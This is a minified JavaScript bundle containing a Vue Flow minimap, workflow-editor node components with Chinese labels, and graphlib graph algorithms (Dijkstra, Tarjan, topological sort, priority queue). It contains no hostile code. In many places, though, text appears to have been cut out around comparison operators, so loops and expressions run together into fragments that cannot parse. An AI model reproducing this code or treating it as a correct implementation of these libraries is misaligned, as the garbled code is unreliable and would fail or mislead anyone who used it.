w=p.touches,O=w.length,T=V(this,k,p.changedTouches.length===O).event(p),z,A,Y,q;for(di(p),A=0;Ai.style??{});function s(d){t("click",d)}function a(d){t("dblclick",d)}function l(d){t("mouseenter",d)}function u(d){t("mousemove",d)}function c(d){t("mouseleave",d)}return(d,h)=>!d.hidden&&d.dimensions.width!==0&&d.dimensions.height!==0?(H(),W(Se,{key:0},[P(o)[`node-${n.type}`]?(H(),Ce(kt(P(o)[`node-${n.type}`]),cn(go({key:0},{...n,...d.$attrs})),null,16)):(H(),W("rect",go({key:1,id:d.id},d.$attrs,{class:["vue-flow__minimap-node",{selected:d.selected,dragging:d.dragging}],x:d.position.x,y:d.position.y,rx:d.borderRadius,ry:d.borderRadius,width:d.dimensions.width,height:d.dimensions.height,fill:d.color||r.value.background||r.value.backgroundColor,stroke:d.strokeColor,"stroke-width":d.strokeWidth,"shape-rendering":d.shapeRendering,onClick:s,onDblclick:a,onMouseenter:l,onMousemove:u,onMouseleave:c}),null,16,dw))],64)):ke("",!0)}}),gw=["width","height","viewBox","aria-labelledby"],pw=["id"],vw=["d","fill","stroke","stroke-width"],mw={name:"MiniMap",compatConfig:{MODE:3}},yw=ye({...mw,props:{nodeColor:{type:[String,Function],default:"#e2e2e2"},nodeStrokeColor:{type:[String,Function],default:"transparent"},nodeClassName:{type:[String,Function]},nodeBorderRadius:{default:5},nodeStrokeWidth:{default:2},maskColor:{default:"rgb(240, 240, 240, 0.6)"},maskStrokeColor:{default:"none"},maskStrokeWidth:{default:1},position:{default:"bottom-right"},pannable:{type:Boolean,default:!1},zoomable:{type:Boolean,default:!1},width:{},height:{},ariaLabel:{default:"Vue Flow mini map"},inversePan:{type:Boolean,default:!1},zoomStep:{default:1},offsetScale:{default:5},maskBorderRadius:{default:0}},emits:["click","nodeClick","nodeDblclick","nodeMouseenter","nodeMousemove","nodeMouseleave"],setup(e,{emit:t}){const n=oa(),o=qi(),i=200,r=150,{id:s,edges:a,viewport:l,translateExtent:u,dimensions:c,emits:d,d3Selection:h,d3Zoom:g,getNodesInitialized:_}=Ne(),b=pe();Dt(Vl,n);const S=_e(()=>{var T;return e.width??((T=o.style)==null?void 0:T.width)??i}),$=_e(()=>{var T;return e.height??((T=o.style)==null?void 0:T.height)??r}),N=typeof window>"u"||window.chrome?"crispEdges":"geometricPrecision",v=ie(()=>typeof e.nodeColor=="string"?()=>e.nodeColor:e.nodeColor),x=ie(()=>typeof e.nodeStrokeColor=="string"?()=>e.nodeStrokeColor:e.nodeStrokeColor),D=ie(()=>typeof e.nodeClassName=="string"?()=>e.nodeClassName:typeof e.nodeClassName=="function"?e.nodeClassName:()=>""),V=ie(()=>rr(_.value.filter(T=>!T.hidden))),F=ie(()=>({x:-l.value.x/l.value.zoom,y:-l.value.y/l.value.zoom,width:c.value.width/l.value.zoom,height:c.value.height/l.value.zoom})),B=ie(()=>_.value&&_.value.length?jh(V.value,F.value):F.value),G=ie(()=>{const T=B.value.width/S.value,z=B.value.height/$.value;return Math.max(T,z)}),L=ie(()=>{const T=G.value*S.value,z=G.value*$.value,A=e.offsetScale*G.value;return{offset:A,x:B.value.x-(T-B.value.width)/2-A,y:B.value.y-(z-B.value.height)/2-A,width:T+A*2,height:z+A*2}}),R=ie(()=>!L.value.x||!L.value.y?"":` + M${L.value.x-L.value.offset},${L.value.y-L.value.offset} + h${L.value.width+L.value.offset*2} + v${L.value.height+L.value.offset*2} + h${-L.value.width-L.value.offset*2}z + M${F.value.x+e.maskBorderRadius},${F.value.y} + h${F.value.width-2*e.maskBorderRadius} + a${e.maskBorderRadius},${e.maskBorderRadius} 0 0 1 ${e.maskBorderRadius},${e.maskBorderRadius} + v${F.value.height-2*e.maskBorderRadius} + a${e.maskBorderRadius},${e.maskBorderRadius} 0 0 1 -${e.maskBorderRadius},${e.maskBorderRadius} + h${-(F.value.width-2*e.maskBorderRadius)} + a${e.maskBorderRadius},${e.maskBorderRadius} 0 0 1 -${e.maskBorderRadius},-${e.maskBorderRadius} + v${-(F.value.height-2*e.maskBorderRadius)} + a${e.maskBorderRadius},${e.maskBorderRadius} 0 0 1 ${e.maskBorderRadius},-${e.maskBorderRadius}z`);$u(T=>{if(b.value){const z=bt(b.value),A=ne=>{if(ne.sourceEvent.type!=="wheel"||!h.value||!g.value)return;const re=ne.sourceEvent.ctrlKey&&Cn()?10:1,Z=-ne.sourceEvent.deltaY*(ne.sourceEvent.deltaMode===1?.05:ne.sourceEvent.deltaMode?1:.002)*e.zoomStep,K=l.value.zoom*2**(Z*re);g.value.scaleTo(h.value,K)},Y=ne=>{if(ne.sourceEvent.type!=="mousemove"||!h.value||!g.value)return;const re=G.value*Math.max(1,l.value.zoom)*(e.inversePan?-1:1),Z={x:l.value.x-ne.sourceEvent.movementX*re,y:l.value.y-ne.sourceEvent.movementY*re},K=[[0,0],[c.value.width,c.value.height]],Q=vr.translate(Z.x,Z.y).scale(l.value.zoom),ce=g.value.constrain()(Q,K,u.value);g.value.transform(h.value,ce)},q=cw().wheelDelta(ne=>Oi(ne)*(e.zoomStep/10)).on("zoom",e.pannable?Y:()=>{}).on("zoom.wheel",e.zoomable?A:()=>{});z.call(q),T(()=>{z.on("zoom",null)})}},{flush:"post"});function C(T){const[z,A]=yt(T);t("click",{event:T,position:{x:z,y:A}})}function X(T,z){const A={event:T,node:z,connectedEdges:St([z],a.value)};d.miniMapNodeClick(A),t("nodeClick",A)}function p(T,z){const A={event:T,node:z,connectedEdges:St([z],a.value)};d.miniMapNodeDoubleClick(A),t("nodeDblclick",A)}function k(T,z){const A={event:T,node:z,connectedEdges:St([z],a.value)};d.miniMapNodeMouseEnter(A),t("nodeMouseenter",A)}function w(T,z){const A={event:T,node:z,connectedEdges:St([z],a.value)};d.miniMapNodeMouseMove(A),t("nodeMousemove",A)}function O(T,z){const A={event:T,node:z,connectedEdges:St([z],a.value)};d.miniMapNodeMouseLeave(A),t("nodeMouseleave",A)}return(T,z)=>(H(),Ce(P(dl),{position:T.position,class:Te(["vue-flow__minimap",{pannable:T.pannable,zoomable:T.zoomable}])},{default:ze(()=>[(H(),W("svg",{ref_key:"el",ref:b,width:S.value,height:$.value,viewBox:[L.value.x,L.value.y,L.value.width,L.value.height].join(" "),role:"img","aria-labelledby":`vue-flow__minimap-${P(s)}`,onClick:C},[T.ariaLabel?(H(),W("title",{key:0,id:`vue-flow__minimap-${P(s)}`},ve(T.ariaLabel),9,pw)):ke("",!0),(H(!0),W(Se,null,ot(P(_),A=>(H(),Ce(hw,{id:A.id,key:A.id,f:"",position:A.computedPosition,dimensions:A.dimensions,selected:A.selected,dragging:A.dragging,style:ae(A.style),class:Te(D.value(A)),color:v.value(A),"border-radius":T.nodeBorderRadius,"stroke-color":x.value(A),"stroke-width":T.nodeStrokeWidth,"shape-rendering":P(N),type:A.type,hidden:A.hidden,onClick:Y=>X(Y,A),onDblclick:Y=>p(Y,A),onMouseenter:Y=>k(Y,A),onMousemove:Y=>w(Y,A),onMouseleave:Y=>O(Y,A)},null,8,["id","position","dimensions","selected","dragging","style","class","color","border-radius","stroke-color","stroke-width","shape-rendering","type","hidden","onClick","onDblclick","onMouseenter","onMousemove","onMouseleave"]))),128)),E("path",{class:"vue-flow__minimap-mask",d:R.value,fill:T.maskColor,stroke:T.maskStrokeColor,"stroke-width":T.maskStrokeWidth,"fill-rule":"evenodd"},null,8,vw)],8,gw))]),_:1},8,["position","class"]))}}),ww={class:"stage-node__head"},_w={key:2,class:"stage-node__dot","aria-hidden":"true"},bw={class:"stage-node__name"},Ew={class:"stage-node__foot"},xw={class:"stage-node__id"},$w=ye({__name:"WorkflowStageNode",props:{id:{},data:{},selected:{type:Boolean}},setup(e){function t(n){return{"--icon-src":`url(${n})`}}return(n,o)=>(H(),W("div",{class:Te(["stage-node",{"stage-node--selected":e.selected,"stage-node--issue":e.data.hasIssue}])},[xe(P(De),{id:"in",type:"target",position:P(J).Left},null,8,["position"]),xe(P(De),{id:"out-0",type:"source",position:P(J).Right},null,8,["position"]),xe(P(De),{id:"in-top",type:"target",position:P(J).Top,class:"stage-node__reject-in"},null,8,["position"]),xe(P(De),{id:"in-bottom",type:"target",position:P(J).Bottom,class:"stage-node__reject-in"},null,8,["position"]),E("div",ww,[e.data.isEntry?(H(),W("span",{key:0,class:"icon stage-node__flag stage-node__flag--entry",style:ae(t(P(fe).flag)),"aria-label":"入口阶段"},null,4)):e.data.isTerminal?(H(),W("span",{key:1,class:"icon stage-node__flag stage-node__flag--terminal",style:ae(t(P(fe).octagon)),"aria-label":"终点阶段"},null,4)):(H(),W("span",_w)),E("span",bw,ve(e.data.node.name||e.data.node.id),1)]),E("div",{class:Te(["stage-node__goal",{"stage-node__goal--empty":!e.data.node.goal}])},ve(e.data.node.goal||"未设置阶段目标"),3),E("div",Ew,[E("span",xw,ve(e.data.node.id),1)])],2))}}),kw=Lt($w,[["__scopeId","data-v-ee74c62b"]]),Nw={class:"boundary-node__label"},Sw=ye({__name:"WorkflowBoundaryNode",props:{id:{},data:{},selected:{type:Boolean}},setup(e){function t(n){return{"--icon-src":`url(${n})`}}return(n,o)=>(H(),W("div",{class:Te(["boundary-node",[`boundary-node--${e.data.node.kind}`,{"boundary-node--selected":e.selected,"boundary-node--issue":e.data.hasIssue}]])},[e.data.node.kind==="end"?(H(!0),W(Se,{key:0},ot(e.data.inCount+1,i=>(H(),Ce(P(De),{key:`in-${i-1}`,id:`in-${i-1}`,type:"target",position:P(J).Left,class:Te({"boundary-node__in--empty":i>e.data.inCount}),style:ae({top:`${i/(e.data.inCount+2)*100}%`})},null,8,["id","position","class","style"]))),128)):ke("",!0),E("span",{class:"icon boundary-node__icon",style:ae(t(e.data.node.kind==="start"?P(fe).play:P(fe).octagon)),"aria-hidden":"true"},null,4),E("span",Nw,ve(e.data.node.name||(e.data.node.kind==="start"?"开始":"结束")),1),e.data.node.kind==="start"?(H(),Ce(P(De),{key:1,id:"out-0",type:"source",position:P(J).Right},null,8,["position"])):ke("",!0)],2))}}),Cw=Lt(Sw,[["__scopeId","data-v-317011d3"]]),Mw={class:"review-node__body"},Iw={class:"review-node__name"},Tw={class:"review-node__meta"},Ow=ye({__name:"WorkflowReviewNode",props:{id:{},data:{},selected:{type:Boolean}},setup(e){function t(n){return{"--icon-src":`url(${n})`}}return(n,o)=>(H(),W("div",{class:Te(["review-node",{"review-node--selected":e.selected,"review-node--issue":e.data.hasIssue}])},[o[0]||(o[0]=E("svg",{class:"review-node__shape",viewBox:"0 0 170 96",preserveAspectRatio:"none","aria-hidden":"true"},[E("polygon",{class:"review-node__polygon",points:"85,1 169,48 85,95 1,48"})],-1)),xe(P(De),{id:"in",type:"target",position:P(J).Left},null,8,["position"]),xe(P(De),{id:"out-0",type:"source",position:P(J).Right,class:"review-node__pass-out"},null,8,["position"]),xe(P(De),{id:"reject-out",type:"source",position:P(J).Top,class:"review-node__reject-out"},null,8,["position"]),xe(P(De),{id:"reject-out-b",type:"source",position:P(J).Bottom,class:"review-node__reject-out"},null,8,["position"]),E("div",Mw,[E("span",{class:"icon review-node__eye",style:ae(t(P(fe).eye)),"aria-hidden":"true"},null,4),E("span",Iw,ve(e.data.node.name||e.data.node.id),1),E("span",Tw,"驳回 ≤"+ve(e.data.node.maxRejects),1)])],2))}}),Aw=Lt(Ow,[["__scopeId","data-v-243373fb"]]),Dw={class:"branch-node__body"},Pw={class:"branch-node__name"},zw={class:"branch-node__meta"},Rw=ye({__name:"WorkflowBranchNode",props:{id:{},data:{},selected:{type:Boolean}},setup(e){const t=e,n=ie(()=>{const i=Math.max(t.data.inCount+1,t.data.outCount+1,2);return Math.max(64,i*22+28)});function o(i){return{"--icon-src":`url(${i})`}}return(i,r)=>(H(),W("div",{class:Te(["branch-node",{"branch-node--selected":e.selected,"branch-node--issue":e.data.hasIssue}]),style:ae({minHeight:`${n.value}px`})},[(H(!0),W(Se,null,ot(e.data.inCount+1,s=>(H(),Ce(P(De),{key:`in-${s-1}`,id:`in-${s-1}`,type:"target",position:P(J).Left,class:Te({"branch-node__in--empty":s>e.data.inCount}),style:ae({top:`${s/(e.data.inCount+2)*100}%`})},null,8,["id","position","class","style"]))),128)),(H(!0),W(Se,null,ot(e.data.outCount+1,s=>(H(),Ce(P(De),{key:`out-${s-1}`,id:`out-${s-1}`,type:"source",position:P(J).Right,class:Te({"branch-node__out--empty":s>e.data.outCount}),style:ae({top:`${s/(e.data.outCount+2)*100}%`})},null,8,["id","position","class","style"]))),128)),xe(P(De),{id:"in-top",type:"target",position:P(J).Top,class:"branch-node__reject-in"},null,8,["position"]),xe(P(De),{id:"in-bottom",type:"target",position:P(J).Bottom,class:"branch-node__reject-in"},null,8,["position"]),E("div",Dw,[E("span",{class:"icon branch-node__icon",style:ae(o(P(fe).gitBranch)),"aria-hidden":"true"},null,4),E("span",Pw,ve(e.data.node.name||e.data.node.id),1),E("span",zw,ve(e.data.outCount)+" 出",1)])],6))}}),Bw=Lt(Rw,[["__scopeId","data-v-aa9c2b4f"]]);var Hl=Object.defineProperty,Vw=(e,t,n)=>t in e?Hl(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,Hw=(e,t)=>{for(var n in t)Hl(e,n,{get:t[n],enumerable:!0})},Lw=(e,t,n)=>Vw(e,t+"",n),Ll={};Hw(Ll,{Graph:()=>Ze,alg:()=>yr});var Fw=Object.defineProperty,Fl=(e,t)=>{for(var n in t)Fw(e,n,{get:t[n],enumerable:!0})},mr=class{constructor(e){this._isDirected=!0,this._isMultigraph=!1,this._isCompound=!1,this._nodes={},this._in={},this._preds={},this._out={},this._sucs={},this._edgeObjs={},this._edgeLabels={},this._nodeCount=0,this._edgeCount=0,this._defaultNodeLabelFn=()=>{},this._defaultEdgeLabelFn=()=>{},e&&(this._isDirected="directed"in e?e.directed:!0,this._isMultigraph="multigraph"in e?e.multigraph:!1,this._isCompound="compound"in e?e.compound:!1),this._isCompound&&(this._parent={},this._children={},this._children["\0"]={})}isDirected(){return this._isDirected}isMultigraph(){return this._isMultigraph}isCompound(){return this._isCompound}setGraph(e){return this._label=e,this}graph(){return this._label}setDefaultNodeLabel(e){return typeof e!="function"?this._defaultNodeLabelFn=()=>e:this._defaultNodeLabelFn=e,this}nodeCount(){return this._nodeCount}nodes(){return Object.keys(this._nodes)}sources(){return this.nodes().filter(e=>Object.keys(this._in[e]).length===0)}sinks(){return this.nodes().filter(e=>Object.keys(this._out[e]).length===0)}setNodes(e,t){return e.forEach(n=>{t!==void 0?this.setNode(n,t):this.setNode(n)}),this}setNode(e,t){return e in this._nodes?(arguments.length>1&&(this._nodes[e]=t),this):(this._nodes[e]=arguments.length>1?t:this._defaultNodeLabelFn(e),this._isCompound&&(this._parent[e]="\0",this._children[e]={},this._children["\0"][e]=!0),this._in[e]={},this._preds[e]={},this._out[e]={},this._sucs[e]={},++this._nodeCount,this)}node(e){return this._nodes[e]}hasNode(e){return e in this._nodes}removeNode(e){if(e in this._nodes){let t=n=>this.removeEdge(this._edgeObjs[n]);delete this._nodes[e],this._isCompound&&(this._removeFromParentsChildList(e),delete this._parent[e],this.children(e).forEach(n=>{this.setParent(n)}),delete this._children[e]),Object.keys(this._in[e]).forEach(t),delete this._in[e],delete this._preds[e],Object.keys(this._out[e]).forEach(t),delete this._out[e],delete this._sucs[e],--this._nodeCount}return this}setParent(e,t){if(!this._isCompound)throw new Error("Cannot set parent in a non-compound graph");if(t===void 0)t="\0";else{t+="";for(let n=t;n!==void 0;n=this.parent(n))if(n===e)throw new Error("Setting "+t+" as parent of "+e+" would create a cycle");this.setNode(t)}return this.setNode(e),this._removeFromParentsChildList(e),this._parent[e]=t,this._children[t][e]=!0,this}parent(e){if(this._isCompound){let t=this._parent[e];if(t!=="\0")return t}}children(e="\0"){if(this._isCompound){let t=this._children[e];if(t)return Object.keys(t)}else{if(e==="\0")return this.nodes();if(this.hasNode(e))return[]}return[]}predecessors(e){let t=this._preds[e];if(t)return Object.keys(t)}successors(e){let t=this._sucs[e];if(t)return Object.keys(t)}neighbors(e){let t=this.predecessors(e);if(t){let n=new Set(t),o=this.successors(e);if(o)for(let i of o)n.add(i);return Array.from(n.values())}}isLeaf(e){var t;let n;return this.isDirected()?n=this.successors(e):n=this.neighbors(e),((t=n==null?void 0:n.length)!=null?t:0)===0}filterNodes(e){let t=new this.constructor({directed:this._isDirected,multigraph:this._isMultigraph,compound:this._isCompound});t.setGraph(this.graph()),Object.entries(this._nodes).forEach(([i,r])=>{e(i)&&t.setNode(i,r)}),Object.values(this._edgeObjs).forEach(i=>{t.hasNode(i.v)&&t.hasNode(i.w)&&t.setEdge(i,this.edge(i))});let n={},o=i=>{let r=this.parent(i);return!r||t.hasNode(r)?(n[i]=r,r):r in n?n[r]:o(r)};return this._isCompound&&t.nodes().forEach(i=>t.setParent(i,o(i))),t}setDefaultEdgeLabel(e){return typeof e!="function"?this._defaultEdgeLabelFn=()=>e:this._defaultEdgeLabelFn=e,this}edgeCount(){return this._edgeCount}edges(){return Object.values(this._edgeObjs)}setPath(e,t){return e.reduce((n,o)=>(t!==void 0?this.setEdge(n,o,t):this.setEdge(n,o),o)),this}setEdge(e,t,n,o){let i,r,s,a,l=!1;typeof e=="object"&&e!==null&&"v"in e?(i=e.v,r=e.w,s=e.name,arguments.length===2&&(a=t,l=!0)):(i=e,r=t,s=o,arguments.length>2&&(a=n,l=!0)),i=""+i,r=""+r,s!==void 0&&(s=""+s);let u=vn(this._isDirected,i,r,s);if(u in this._edgeLabels)return l&&(this._edgeLabels[u]=a),this;if(s!==void 0&&!this._isMultigraph)throw new Error("Cannot set a named edge when isMultigraph = false");this.setNode(i),this.setNode(r),this._edgeLabels[u]=l?a:this._defaultEdgeLabelFn(i,r,s);let c=Yw(this._isDirected,i,r,s);return i=c.v,r=c.w,Object.freeze(c),this._edgeObjs[u]=c,Cs(this._preds[r],i),Cs(this._sucs[i],r),this._in[r][u]=c,this._out[i][u]=c,this._edgeCount++,this}edge(e,t,n){let o=arguments.length===1?fi(this._isDirected,e):vn(this._isDirected,e,t,n);return this._edgeLabels[o]}edgeAsObj(e,t,n){let o=arguments.length===1?this.edge(e):this.edge(e,t,n);return typeof o!="object"||o===null?{label:o}:o}hasEdge(e,t,n){return(arguments.length===1?fi(this._isDirected,e):vn(this._isDirected,e,t,n))in this._edgeLabels}removeEdge(e,t,n){let o=arguments.length===1?fi(this._isDirected,e):vn(this._isDirected,e,t,n),i=this._edgeObjs[o];if(i){let r=i.v,s=i.w;delete this._edgeLabels[o],delete this._edgeObjs[o],Ms(this._preds[s],r),Ms(this._sucs[r],s),delete this._in[s][o],delete this._out[r][o],this._edgeCount--}return this}inEdges(e,t){return this.isDirected()?this.filterEdges(this._in[e],e,t):this.nodeEdges(e,t)}outEdges(e,t){return this.isDirected()?this.filterEdges(this._out[e],e,t):this.nodeEdges(e,t)}nodeEdges(e,t){if(e in this._nodes)return this.filterEdges({...this._in[e],...this._out[e]},e,t)}_removeFromParentsChildList(e){delete this._children[this._parent[e]][e]}filterEdges(e,t,n){if(!e)return;let o=Object.values(e);return n?o.filter(i=>i.v===t&&i.w===n||i.v===n&&i.w===t):o}};function Cs(e,t){e[t]?e[t]++:e[t]=1}function Ms(e,t){e[t]!==void 0&&!--e[t]&&delete e[t]}function vn(e,t,n,o){let i=""+t,r=""+n;if(!e&&i>r){let s=i;i=r,r=s}return i+""+r+""+(o===void 0?"\0":o)}function Yw(e,t,n,o){let i=""+t,r=""+n;if(!e&&i>r){let a=i;i=r,r=a}let s={v:i,w:r};return o&&(s.name=o),s}function fi(e,t){return vn(e,t.v,t.w,t.name)}var Gw={};Fl(Gw,{read:()=>jw,write:()=>Xw});function Xw(e){let t={options:{directed:e.isDirected(),multigraph:e.isMultigraph(),compound:e.isCompound()},nodes:Ww(e),edges:Uw(e)},n=e.graph();return n!==void 0&&(t.value=structuredClone(n)),t}function Ww(e){return e.nodes().map(t=>{let n=e.node(t),o=e.parent(t),i={v:t};return n!==void 0&&(i.value=n),o!==void 0&&(i.parent=o),i})}function Uw(e){return e.edges().map(t=>{let n=e.edge(t),o={v:t.v,w:t.w};return t.name!==void 0&&(o.name=t.name),n!==void 0&&(o.value=n),o})}function jw(e){let t=new mr(e.options);return e.value!==void 0&&t.setGraph(e.value),e.nodes.forEach(n=>{t.setNode(n.v,n.value),n.parent&&t.setParent(n.v,n.parent)}),e.edges.forEach(n=>{t.setEdge({v:n.v,w:n.w,name:n.name},n.value)}),t}var yr={};Fl(yr,{CycleException:()=>Ao,bellmanFord:()=>Yl,components:()=>Kw,dijkstra:()=>Oo,dijkstraAll:()=>e1,findCycles:()=>t1,floydWarshall:()=>o1,isAcyclic:()=>r1,postorder:()=>a1,preorder:()=>l1,prim:()=>u1,shortestPaths:()=>c1,tarjan:()=>Xl,topsort:()=>Wl});var Zw=()=>1;function Yl(e,t,n,o){return qw(e,String(t),n||Zw,o||function(i){var r;return(r=e.outEdges(i))!=null?r:[]})}function qw(e,t,n,o){let i={},r,s=0,a=e.nodes(),l=function(d){let h=i[d.v],g=i[d.w];if(!h||!g)return;let _=n(d);h.distance+_e.key)}has(e){return e in this._keyIndices}priority(e){let t=this._keyIndices[e];if(t!==void 0)return this._arr[t].priority}min(){if(this.size()===0)throw new Error("Queue underflow");return this._arr[0].key}add(e,t){let n=this._keyIndices,o=String(e);if(!(o in n)){let i=this._arr,r=i.length;return n[o]=r,i.push({key:o,priority:t}),this._decrease(r),!0}return!1}removeMin(){if(this.size()===0)throw new Error("Queue underflow");this._swap(0,this._arr.length-1);let e=this._arr.pop();return delete this._keyIndices[e.key],this._heapify(0),e.key}decrease(e,t){let n=this._keyIndices[e];if(n===void 0)throw new Error(`Key not found: ${e}`);let o=this._arr[n].priority;if(t>o)throw new Error(`New priority is greater than current priority. Key: ${e} Old: ${o} New: ${t}`);this._arr[n].priority=t,this._decrease(n)}_heapify(e){let t=this._arr,n=2*e,o=n+1,i=e;n>1,!(t[o].priority1;function Oo(e,t,n,o){let i=function(r){var s;return(s=e.outEdges(r))!=null?s:[]};return Qw(e,String(t),n||Jw,o||i)}function Qw(e,t,n,o){let i={},r=new Gl,s,a,l=function(u){let c=u.v!==s?u.v:u.w,d=i[c];if(!d)return;let h=n(u),g=a.distance+h;if(h<0)throw new Error("dijkstra does not allow negative edge weights. Bad edge: "+u+" Weight: "+h);g0;){s=r.removeMin();let u=i[s];if(!u||u.distance===Number.POSITIVE_INFINITY)break;a=u,o(s).forEach(l)}return i}function e1(e,t,n){return e.nodes().reduce(function(o,i){return o[i]=Oo(e,i,t,n),o},{})}function Xl(e){let t=0,n=[],o={},i=[];function r(s){var a;let l=o[s]={onStack:!0,lowlink:t,index:t++};if(n.push(s),(a=e.successors(s))==null||a.forEach(function(u){if(u in o){let c=o[u];c!=null&&c.onStack&&(l.lowlink=Math.min(l.lowlink,c.index))}else{r(u);let c=o[u];c&&(l.lowlink=Math.min(l.lowlink,c.lowlink))}}),l.lowlink===l.index){let u=[],c;do{c=n.pop();let d=o[c];d&&(d.onStack=!1),u.push(c)}while(s!==c);i.push(u)}}return e.nodes().forEach(function(s){s in o||r(s)}),i}function t1(e){return Xl(e).filter(function(t){var n;let o=t[0];return o?t.length>1||t.length===1&&((n=e.outEdges(o,o))!=null?n:[]).length>0:!1})}var n1=()=>1;function o1(e,t,n){return i1(e,t||n1,n||function(o){var i;return(i=e.outEdges(o))!=null?i:[]})}function i1(e,t,n){let o={},i=e.nodes();return i.forEach(function(r){let s={};o[r]=s,s[r]={distance:0,predecessor:""},i.forEach(function(a){r!==a&&(s[a]={distance:Number.POSITIVE_INFINITY,predecessor:""})}),n(r).forEach(function(a){let l=a.v===r?a.w:a.v,u=t(a);s[l]={distance:u,predecessor:r}})}),i.forEach(function(r){let s=o[r];s&&i.forEach(function(a){let l=o[a];l&&i.forEach(function(u){let c=l[r],d=s[u],h=l[u];if(c&&d&&h){let g=c.distance+d.distance;g{var l;return(l=e.isDirected()?e.successors(a):e.neighbors(a))!=null?l:[]},s={};return t.forEach(function(a){if(!e.hasNode(a))throw new Error("Graph does not have node: "+a);i=Ul(e,a,n==="post",s,r,o,i)}),i}function Ul(e,t,n,o,i,r,s){return t in o||(o[t]=!0,n||(s=r(s,t)),i(t).forEach(function(a){s=Ul(e,a,n,o,i,r,s)}),n&&(s=r(s,t))),s}function jl(e,t,n){return s1(e,t,n,function(o,i){return o.push(i),o},[])}function a1(e,t){return jl(e,t,"post")}function l1(e,t){return jl(e,t,"pre")}function u1(e,t){var n;let o=new mr,i={},r=new Gl,s;function a(c){let d=c.v===s?c.w:c.v,h=r.priority(d);if(h!==void 0){let g=t(c);g0;){if(s=r.removeMin(),s in i)o.setEdge(s,i[s]);else{if(u)throw new Error("Input graph is not connected: "+e);u=!0}(n=e.nodeEdges(s))==null||n.forEach(a)}return o}function c1(e,t,n,o){return d1(e,t,n,o??(i=>{var r;return(r=e.outEdges(i))!=null?r:[]}))}function d1(e,t,n,o){if(n===void 0)return Oo(e,t,n,o);let i=!1,r=e.nodes();for(let s=0;st.setNode(n,e.node(n))),e.edges().forEach(n=>{let o=t.edge(n.v,n.w)||{weight:0,minlen:1},i=e.edge(n);t.setEdge(n.v,n.w,{weight:o.weight+i.weight,minlen:Math.max(o.minlen,i.minlen)})}),t}function Zl(e){let t=new Ze({multigraph:e.isMultigraph()}).setGraph(e.graph());return e.nodes().forEach(n=>{e.children(n).length||t.setNode(n,e.node(n))}),e.edges().forEach(n=>{t.setEdge(n,e.edge(n))}),t}function Is(e,t){let n=e.x,o=e.y,i=t.x-n,r=t.y-o,s=e.width/2,a=e.height/2;if(!i&&!r)throw new Error("Not possible to find intersection inside of the rectangle");let l,u;return Math.abs(r)*s>Math.abs(i)*a?(r<0&&(a=-a),l=a*i/r,u=a):(i<0&&(s=-s),l=s,u=s*r/i),{x:n+l,y:o+u}}function Vn(e){let t=An(Kl(e)+1).map(()=>[]);return e.nodes().forEach(n=>{let o=e.node(n),i=o.rank;i!==void 0&&(t[i]||(t[i]=[]),t[i][o.order]=n)}),t}function h1(e){let t=e.nodes().map(o=>{let i=e.node(o).rank;return i===void 0?Number.MAX_VALUE:i}),n=et(Math.min,t);e.nodes().forEach(o=>{let i=e.node(o);Object.hasOwn(i,"rank")&&(i.rank-=n)})}function g1(e){let t=e.nodes().map(s=>e.node(s).rank).filter(s=>s!==void 0),n=et(Math.min,t),o=[];e.nodes().forEach(s=>{let a=e.node(s).rank-n;o[a]||(o[a]=[]),o[a].push(s)});let i=0,r=e.graph().nodeRankFactor;Array.from(o).forEach((s,a)=>{s===void 0&&a%r!==0?--i:s!==void 0&&i&&s.forEach(l=>e.node(l).rank+=i)})}function Ts(e,t,n,o){let i={width:0,height:0};return arguments.length>=4&&(i.rank=n,i.order=o),rn(e,"border",i,t)}function p1(e,t=ql){let n=[];for(let o=0;oql){let n=p1(t);return e(...n.map(o=>e(...o)))}else return e(...t)}function Kl(e){let t=e.nodes().map(n=>{let o=e.node(n).rank;return o===void 0?Number.MIN_VALUE:o});return et(Math.max,t)}function v1(e,t){let n={lhs:[],rhs:[]};return e.forEach(o=>{t(o)?n.lhs.push(o):n.rhs.push(o)}),n}function m1(e,t){let n=Date.now();try{return t()}finally{console.log(e+" time: "+(Date.now()-n)+"ms")}}function Jl(e,t){return t()}var y1=0;function wr(e){let t=++y1;return e+(""+t)}function An(e,t,n=1){t==null&&(t=e,e=0);let o=r=>rto[t]:n=t,Object.entries(e).reduce((o,[i,r])=>(o[i]=n(r,i),o),{})}function w1(e,t){return e.reduce((n,o,i)=>(n[o]=t[i],n),{})}var qo="\0";function Ql(e,t,n){var o,i,r,s,a,l;if(!(e&&t&&n&&t.dummy==="edge"&&n.dummy==="edge"&&t.edgeObj&&n.edgeObj&&e[t.edgeObj.v]&&e[n.edgeObj.v]&&e[t.edgeObj.w]&&e[n.edgeObj.w]))return 0;let u=!0;t.edgeObj.w===n.edgeObj.w&&(u=!1);let c=u?(i=(o=e[t.edgeObj.v])==null?void 0:o.rank)!=null?i:NaN+1:(s=(r=e[t.edgeObj.w])==null?void 0:r.rank)!=null?s:NaN-1,d=Object.entries(e).find(b=>{var S,$;return((S=b[1].edgeObj)==null?void 0:S.v)===t.edgeObj.v&&(($=b[1].edgeObj)==null?void 0:$.w)===t.edgeObj.w&&b[1].rank===c}),h=Object.entries(e).find(b=>{var S,$;return((S=b[1].edgeObj)==null?void 0:S.v)===n.edgeObj.v&&(($=b[1].edgeObj)==null?void 0:$.w)===n.edgeObj.w&&b[1].rank===c});if(!d||!h)return 0;let g=(a=d[1].order)!=null?a:NaN,_=(l=h[1].order)!=null?l:NaN;return isNaN(g-_)?0:g-_}var _1="3.1.1",b1=class{constructor(){Lw(this,"_sentinel");let e={};e._next=e._prev=e,this._sentinel=e}dequeue(){let e=this._sentinel,t=e._prev;if(t!==e)return Os(t),t}enqueue(e){let t=this._sentinel;e._prev&&e._next&&Os(e),e._next=t._next,t._next._prev=e,t._next=e,e._prev=t}toString(){let e=[],t=this._sentinel,n=t._prev;for(;n!==t;)e.push(JSON.stringify(n,E1)),n=n._prev;return"["+e.join(", ")+"]"}};function Os(e){e._prev._next=e._next,e._next._prev=e._prev,delete e._next,delete e._prev}function E1(e,t){if(e!=="_next"&&e!=="_prev")return t}var x1=b1,$1=()=>1;function k1(e,t){if(e.nodeCount()<=1)return[];let n=S1(e,t||$1);return N1(n.graph,n.buckets,n.zeroIdx).flatMap(o=>e.outEdges(o.v,o.w)||[])}function N1(e,t,n){var o;let i=[],r=t[t.length-1],s=t[0],a;for(;e.nodeCount();){for(;a=s.dequeue();)hi(e,t,n,a);for(;a=r.dequeue();)hi(e,t,n,a);if(e.nodeCount()){for(let 